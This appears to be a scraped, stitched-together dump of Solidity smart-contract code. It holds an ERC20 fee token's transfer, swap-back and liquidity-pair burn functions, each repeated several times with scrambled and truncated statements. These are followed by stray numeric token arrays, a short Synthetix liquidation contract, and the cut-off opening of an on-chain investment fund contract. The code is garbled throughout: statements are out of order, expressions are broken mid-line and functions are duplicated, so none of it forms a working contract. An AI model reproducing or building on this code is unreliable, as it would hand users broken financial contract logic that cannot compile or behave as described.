(limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } if (limitsInEffect) { if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping ) { if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } if (transferDelayEnabled) { if ( to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed." ); _holderLastTransferTimestamp[tx.origin] = block.number; } } automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to] ) { require( amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from] ) { require( amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount." ); require( amount + balanceOf(to) <= maxWallet, "Max wallet exceeded" ); } } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { swapping = true; swapBack(); swapping = false; } if ( !swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from] ) { autoBurnLiquidityPairTokens(); } bool takeFee = !swapping; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to] && sellTotalFees > 0) { fees = amount.mul(sellTotalFees).div(100); tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees; tokensForDev += (fees * sellDevFee) / sellTotalFees; tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees; } else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) { fees = amount.mul(buyTotalFees).div(100); tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees; tokensForDev += (fees * buyDevFee) / buyTotalFees; tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); address(this), tokenAmount, deadAddress, block.timestamp ); } uniswapV2Router.addLiquidityETH{value: ethAmount}( function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / (success, ) = address(devWallet).call{value: ethForDev}(""); function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function swapBack() private { uint256 contractBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; bool success; if (contractBalance == 0 || totalTokensToSwap == 0) { return; } if (contractBalance > swapTokensAtAmount * 20) { contractBalance = swapTokensAtAmount * 20; } totalTokensToSwap / 2; uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens); uint256 initialETHBalance = address(this).balance; swapTokensForEth(amountToSwapForETH); uint256 ethBalance = address(this).balance.sub(initialETHBalance); uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div( totalTokensToSwap ); uint256 ethForDev = ethBalance.mul(tokensForDev).div(totalTokensToSwap); uint256 ethForLiquidity = ethBalance - ethForMarketing - ethForDev; tokensForLiquidity = 0; tokensForMarketing = 0; tokensForDev = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); emit SwapAndLiquify( amountToSwapForETH, ethForLiquidity, tokensForLiquidity ); } (success, ) = address(marketingWallet).call{ value: address(this).balance }(""); } function setAutoLPBurnSettings( uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled ) external onlyOwner { require( _frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes" ); require( _percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%" ); lpBurnFrequency = _frequencyInSeconds; percentForLPBurn = _percent; lpBurnEnabled = _Enabled; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } pair.sync(); emit AutoNukeLP(); return true; } function autoBurnLiquidityPairTokens() internal returns (bool) { lastLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div( 10000 ); if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } pair.sync(); emit AutoNukeLP(); return true; } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } pair.sync(); emit ManualNukeLP(); return true; } function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool) { require( block.timestamp > lastManualLpBurnTime + manualBurnFrequency, "Must wait for cooldown to finish" ); require(percent <= 1000, "May not nuke more than 10% of tokens in LP"); lastManualLpBurnTime = block.timestamp; uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair); uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000); if (amountToBurn > 0) { super._transfer(uniswapV2Pair, address(0xdead), amountToBurn); } pair.sync(); emit ManualNukeLP(); return true; } IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair); }
15,486,925
[ 1, 14925, 77, 17, 4819, 471, 30959, 17, 3350, 5349, 7990, 471, 3152, 431, 17704, 1317, 628, 1656, 281, 471, 943, 2492, 3844, 1707, 6138, 716, 279, 5859, 13667, 312, 6388, 5574, 18, 5502, 7412, 358, 4259, 6138, 3377, 506, 3221, 358, 279, 4207, 7412, 3844, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 6469, 3740, 1090, 2664, 13450, 353, 4232, 39, 3462, 16, 14223, 6914, 288, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 467, 984, 291, 91, 438, 58, 22, 8259, 3103, 1071, 11732, 640, 291, 91, 438, 58, 22, 8259, 31, 203, 565, 1758, 1071, 11732, 640, 291, 91, 438, 58, 22, 4154, 31, 203, 565, 1758, 1071, 5381, 8363, 1887, 273, 1758, 12, 20, 92, 22097, 1769, 203, 203, 565, 1426, 3238, 7720, 1382, 31, 203, 203, 565, 1758, 1071, 13667, 310, 16936, 31, 203, 565, 1758, 1071, 4461, 16936, 31, 203, 203, 565, 2254, 5034, 1071, 943, 3342, 6275, 31, 203, 565, 2254, 5034, 1071, 7720, 5157, 861, 6275, 31, 203, 565, 2254, 5034, 1071, 943, 16936, 31, 203, 203, 565, 1426, 1071, 12423, 38, 321, 1526, 273, 638, 31, 203, 565, 2254, 5034, 1071, 12423, 38, 321, 13865, 273, 12396, 3974, 31, 203, 565, 2254, 5034, 1071, 1142, 48, 84, 38, 321, 950, 31, 203, 203, 565, 2254, 5034, 1071, 11297, 38, 321, 13865, 273, 5196, 6824, 31, 203, 565, 2254, 5034, 1071, 1142, 25139, 48, 84, 38, 321, 950, 31, 203, 203, 565, 1426, 1071, 8181, 382, 12477, 273, 638, 31, 203, 565, 1426, 1071, 1284, 7459, 3896, 273, 629, 31, 203, 565, 1426, 1071, 7720, 1526, 273, 629, 31, 203, 203, 565, 1426, 1071, 7412, 6763, 1526, 273, 638, 31, 203, 203, 565, 2254, 5034, 1071, 30143, 5269, 2954, 281, 31, 203, 565, 2254, 5034, 1071, 30143, 3882, 21747, 14667, 31, 203, 565, 2254, 5034, 2 ]
./full_match/1/0x0ED8A6Cf914dFf11B672dfA330ace1A924F6a93A/sources/contracts/SnxSimpleLiq.sol
ILiquidations mLiquidation;
contract SnxSimpleLiq { address owner; ISynthetix mSNX; constructor() { owner = msg.sender; mSNX = ISynthetix(address(0x97767D7D04Fd0dB0A1a2478DCd4BA85290556B48)); } function executeLiq (address account, uint amount, uint256 deadlineAcc) public { require(_deadlinePassed(deadlineAcc), "not ppp"); mSNX.liquidateDelinquentAccount(account, amount); } function _deadlinePassed(uint deadline) internal view returns (bool) { return block.timestamp > deadline; } function withrawTokenAll(address token) public { uint balanceToken = IERC20(token).balanceOf(address(this)); bool success = IERC20(token).transfer(owner, balanceToken); } function withdrawETHAll() public { uint balanceETH = address(this).balance; } (bool success, ) = owner.call{value: balanceETH}(new bytes(0)); }
4,842,344
[ 1, 2627, 18988, 350, 1012, 312, 48, 18988, 350, 367, 31, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 348, 16769, 5784, 48, 18638, 288, 203, 377, 203, 565, 1758, 3410, 31, 203, 565, 4437, 878, 451, 278, 697, 312, 13653, 60, 31, 203, 203, 565, 3885, 1435, 288, 203, 3639, 3410, 273, 1234, 18, 15330, 31, 203, 3639, 312, 13653, 60, 273, 4437, 878, 451, 278, 697, 12, 2867, 12, 20, 92, 29, 4700, 9599, 40, 27, 40, 3028, 27263, 20, 72, 38, 20, 37, 21, 69, 3247, 8285, 5528, 72, 24, 12536, 7140, 5540, 20, 2539, 26, 38, 8875, 10019, 203, 565, 289, 203, 27699, 565, 445, 1836, 48, 18638, 261, 2867, 2236, 16, 2254, 3844, 16, 2254, 5034, 14096, 8973, 13, 1071, 288, 203, 3639, 2583, 24899, 22097, 1369, 22530, 12, 22097, 1369, 8973, 3631, 315, 902, 8228, 84, 8863, 203, 3639, 312, 13653, 60, 18, 549, 26595, 340, 2837, 267, 6979, 3032, 12, 4631, 16, 3844, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 22097, 1369, 22530, 12, 11890, 14096, 13, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 327, 1203, 18, 5508, 405, 14096, 31, 203, 565, 289, 203, 203, 565, 445, 598, 1899, 1345, 1595, 12, 2867, 1147, 13, 1071, 288, 203, 3639, 2254, 11013, 1345, 273, 467, 654, 39, 3462, 12, 2316, 2934, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 1426, 2216, 273, 467, 654, 39, 3462, 12, 2316, 2934, 13866, 12, 8443, 16, 11013, 1345, 1769, 203, 565, 289, 203, 203, 565, 445, 598, 9446, 1584, 44, 1595, 1435, 1071, 288, 203, 3639, 2254, 11013, 1584, 44, 273, 1758, 12, 2 ]
pragma solidity ^0.4.13; import "./NavCalculator.sol"; import "./InvestorActions.sol"; import "./DataFeed.sol"; import "./math/SafeMath.sol"; import "./zeppelin/DestructiblePausable.sol"; /** * @title Fund * @author CoinAlpha, Inc. <[email protected]> * * @dev A blockchain protocol for managed funds. * This protocol enables managers to create a blockchain-based asset management vehicle * that manages external funds contributed by investors. The protocol utilizes the blockchain * to perform functions such as segregated asset custody, net asset value calculation, * fee accounting, and subscription/redemption management. * * The goal of this project is to eliminate the setup and operational costs imposed by middlemen * in traditional funds, while maximizing transparency and mitigating fraud risk for investors. */ contract IFund { uint public decimals; uint public minInitialSubscriptionEth; uint public minSubscriptionEth; uint public minRedemptionShares; uint public totalEthPendingSubscription; uint public totalEthPendingWithdrawal; uint public totalSharesPendingRedemption; uint public totalSupply; uint public adminFeeBps; uint public mgmtFeeBps; uint public performFeeBps; uint public lastCalcDate; uint public navPerShare; uint public accumulatedMgmtFees; uint public accumulatedAdminFees; uint public lossCarryforward; function getInvestor(address _addr) returns ( uint ethTotalAllocation, uint ethPendingSubscription, uint sharesOwned, uint sharesPendingRedemption, uint ethPendingWithdrawal ) {} function usdToEth(uint _usd) returns (uint eth) {} function ethToUsd(uint _eth) returns (uint usd) {} function ethToShares(uint _eth) returns (uint shares) {} function sharesToEth(uint _shares) returns (uint ethAmount) {} function getBalance() returns (uint ethAmount) {} } contract Fund is DestructiblePausable { using SafeMath for uint; // Constants set at contract inception string public name; // fund name string public symbol; // Ethereum token symbol uint public decimals; // number of decimals used to display navPerShare uint public minInitialSubscriptionEth; // minimum amount of ether that a new investor can subscribe uint public minSubscriptionEth; // minimum amount of ether that an existing investor can subscribe uint public minRedemptionShares; // minimum amount of shares that an investor can request be redeemed uint 